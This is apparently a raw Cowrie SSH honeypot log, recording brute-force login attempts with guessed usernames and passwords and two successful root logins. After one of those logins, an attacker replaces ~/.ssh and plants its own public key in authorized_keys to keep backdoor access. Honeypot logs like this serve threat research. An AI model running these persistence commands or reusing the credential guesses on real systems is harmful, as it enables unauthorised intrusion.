{"eventid":"cowrie.login.failed","username":"znc","password":"Znc123!","message":"login attempt [znc/Znc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:50.541883Z","src_ip":"159.223.57.48","session":"7215c09f408c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:51.781336Z","src_ip":"159.223.57.48","session":"7215c09f408c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"819b842c0944","protocol":"ssh","message":"New connection: 49.49.239.64:59672 (159.203.135.109:22) [session: 819b842c0944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:58.789292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:58.793916Z","src_ip":"49.49.239.64","session":"819b842c0944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:59.049629Z","src_ip":"49.49.239.64","session":"819b842c0944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"builder","password":"builder1234","message":"login attempt [builder/builder1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:00.105431Z","src_ip":"49.49.239.64","session":"819b842c0944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:01.363880Z","src_ip":"49.49.239.64","session":"819b842c0944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":50490,"dst_ip":"159.203.135.109","dst_port":22,"session":"d15e828a2f4e","protocol":"ssh","message":"New connection: 68.233.116.124:50490 (159.203.135.109:22) [session: d15e828a2f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:13.148271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:13.152750Z","src_ip":"68.233.116.124","session":"d15e828a2f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:13.384757Z","src_ip":"68.233.116.124","session":"d15e828a2f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"1234","message":"login attempt [andrey/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:14.345430Z","src_ip":"68.233.116.124","session":"d15e828a2f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":47448,"dst_ip":"159.203.135.109","dst_port":22,"session":"32a36988a583","protocol":"ssh","message":"New connection: 68.183.236.1:47448 (159.203.135.109:22) [session: 32a36988a583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:15.146005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:15.150935Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:15.395875Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:15.579042Z","src_ip":"68.233.116.124","session":"d15e828a2f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":36328,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd62a6b8660","protocol":"ssh","message":"New connection: 136.248.247.188:36328 (159.203.135.109:22) [session: 6fd62a6b8660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:15.902972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:15.907020Z","src_ip":"136.248.247.188","session":"6fd62a6b8660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:16.041108Z","src_ip":"136.248.247.188","session":"6fd62a6b8660","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:16.408648Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"builder","password":"builder1234","message":"login attempt [builder/builder1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:16.614463Z","src_ip":"136.248.247.188","session":"6fd62a6b8660","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:16.938592Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:16.941859Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:16.945456Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:17.194091Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:17.721374Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:17.724274Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:17.752041Z","src_ip":"136.248.247.188","session":"6fd62a6b8660","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:17.973822Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:17.976468Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":47452,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec794a417941","protocol":"ssh","message":"New connection: 68.183.236.1:47452 (159.203.135.109:22) [session: ec794a417941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:18.208649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:18.213383Z","src_ip":"68.183.236.1","session":"ec794a417941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:18.452436Z","src_ip":"68.183.236.1","session":"ec794a417941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":41634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec4565ccee00","protocol":"ssh","message":"New connection: 163.7.6.74:41634 (10.17.0.5:22) [session: ec4565ccee00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:19.136486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:19.141001Z","src_ip":"163.7.6.74","session":"ec4565ccee00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:19.390909Z","src_ip":"163.7.6.74","session":"ec4565ccee00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:19.437660Z","src_ip":"68.183.236.1","session":"ec794a417941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"123456","message":"login attempt [hive/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:20.421052Z","src_ip":"163.7.6.74","session":"ec4565ccee00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:20.677657Z","src_ip":"68.183.236.1","session":"ec794a417941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":47468,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d72e95334b","protocol":"ssh","message":"New connection: 68.183.236.1:47468 (159.203.135.109:22) [session: 48d72e95334b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:20.911110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:20.916911Z","src_ip":"68.183.236.1","session":"48d72e95334b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:21.153665Z","src_ip":"68.183.236.1","session":"48d72e95334b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:21.673011Z","src_ip":"163.7.6.74","session":"ec4565ccee00","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:22.133109Z","src_ip":"68.183.236.1","session":"48d72e95334b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:22.370605Z","src_ip":"68.183.236.1","session":"32a36988a583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:22.375611Z","src_ip":"68.183.236.1","session":"48d72e95334b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39136,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ede34c3e41","protocol":"ssh","message":"New connection: 2.57.122.96:39136 (159.203.135.109:22) [session: 63ede34c3e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:59.606802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:22:59.611140Z","src_ip":"2.57.122.96","session":"63ede34c3e41","protocol":"ssh"}
